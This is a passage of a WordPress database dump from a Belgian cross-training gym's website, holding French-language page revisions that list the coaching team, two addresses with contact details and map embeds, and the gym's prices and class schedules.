'2013-06-16 15:07:01', '', 20, 'http://www.crosstrainingcenter.be/?p=140', 0, 'revision', '', 0),
(139, 1, '2013-06-16 15:04:18', '2013-06-16 15:04:18', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Daimen Pierrard&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:04:18', '2013-06-16 15:04:18', '', 20, 'http://www.crosstrainingcenter.be/?p=139', 0, 'revision', '', 0),
(141, 1, '2013-06-16 15:07:42', '2013-06-16 15:07:42', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\nGérante\r\nCoatch\r\nDiététicienne&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Guélor Luabeya&lt;/h2&gt;\r\nFormateur\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Matthieu Gille&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Bertrand Bauwin&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julien Meulemans&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Baptiste Pitsaer&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot;&gt;&lt;img class=\&quot;size-full wp-image-130 alignleft\&quot; alt=\&quot;rg\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/rg.jpg\&quot; width=\&quot;132\&quot; height=\&quot;195\&quot; /&gt;&lt;/a&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Anaïs Gosset&lt;/h2&gt;\r\nCoatch&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-06-16 15:07:42', '2013-06-16 15:07:42', '', 20, 'http://www.crosstrainingcenter.be/?p=141', 0, 'revision', '', 0),
(142, 1, '2014-02-09 20:26:00', '2014-02-09 20:26:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;Limelette&lt;/h1&gt;\n&lt;iframe src=\&quot;https://maps.google.be/maps?f=q&amp;amp;source=s_q&amp;amp;hl=fr&amp;amp;geocode=&amp;amp;q=Avenue+L%C3%A9on+Fournet,+20+-+Limelette+1342&amp;amp;aq=&amp;amp;sll=50.484709,4.855099&amp;amp;sspn=0.050462,0.077162&amp;amp;gl=be&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Avenue+L%C3%A9on+Fournet+20,+1342+Ottignies-Louvain-la-Neuve,+Brabant+Wallon,+R%C3%A9gion+wallonne&amp;amp;t=m&amp;amp;ll=50.676229,4.582672&amp;amp;spn=0.032635,0.051498&amp;amp;z=13&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\n\n&lt;address&gt;Club Justine Henin\nAvenue Léon Fournet, 20\n1342 Limelette&lt;/address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;Namur&lt;/h1&gt;\n&lt;iframe src=\&quot;https://maps.google.be/maps?q=Chauss%C3%A9e+de+Perwez+251+5002+Namur&amp;amp;ie=UTF8&amp;amp;hq=&amp;amp;hnear=Chauss%C3%A9e+de+Perwez+251,+Saint-Servais+5002&amp;amp;gl=be&amp;amp;t=m&amp;amp;ll=50.472583,4.860764&amp;amp;spn=0.065552,0.102997&amp;amp;z=12&amp;amp;iwloc=A&amp;amp;output=embed\&quot; height=\&quot;300\&quot; width=\&quot;300\&quot; frameborder=\&quot;0\&quot; marginwidth=\&quot;0\&quot; marginheight=\&quot;0\&quot; scrolling=\&quot;no\&quot;&gt;&lt;/iframe&gt;\n\n&lt;address&gt;Bowling et Squash de Namur\nChaussée de Perwez, 251\n5002 Namur&lt;/address&gt;&lt;address&gt;&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;&lt;/address&gt;&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Laissez-nous un message :&lt;/h1&gt;\n[contact-form-7 id=\&quot;257\&quot; title=\&quot;Contact form 1\&quot;]&lt;/td&gt;\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%; text-align: center;\&quot;&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\nLes réservations de Team Training se font en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot; target=\&quot;_blank\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\nLes séances le Duo Training, Personnal\nTraining ou Coaching nutritionnel se\nfont exclusivement par téléphone.\n0485 / 92 . 02 . 12\n&lt;h1&gt;&lt;/h1&gt;\n&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h1&gt;&lt;/h1&gt;\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-autosave-v1', '', '', '2014-02-09 20:26:00', '2014-02-09 20:26:00', '', 9, 'http://www.crosstrainingcenter.be/?p=142', 0, 'revision', '', 0),
(144, 1, '2013-06-16 15:13:28', '2013-06-16 15:13:28', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 0485 / 92 . 02 . 12\r\n\r\n&lt;h1&gt;Adresse :&lt;/h2&gt;\r\nChaussée de Perwez 251\r\n5002 Namur\r\n&lt;a href=\&quot;mailto:info@crosstrainingcenter.be\&quot;&gt;info@crosstrainingcenter.be&lt;/a&gt;\r\n\r\n&lt;h1&gt;Plan d\'accès :&lt;/h1&gt;', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-16 15:13:28', '2013-06-16 15:13:28', '', 9, 'http://www.crosstrainingcenter.be/?p=144', 0, 'revision', '', 0),
(143, 1, '2013-06-02 17:55:41', '2013-06-02 17:55:41', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nPrise de RDV par téléphone : 04XX/XX.XX.XX\r\n\r\nLorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper.', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-06-02 17:55:41', '2013-06-02 17:55:41', '', 9, 'http://www.crosstrainingcenter.be/?p=143', 0, 'revision', '', 0),
(145, 1, '2013-06-16 14:47:43', '2013-06-16 14:47:43', '&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&amp;nbsp;&lt;br&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 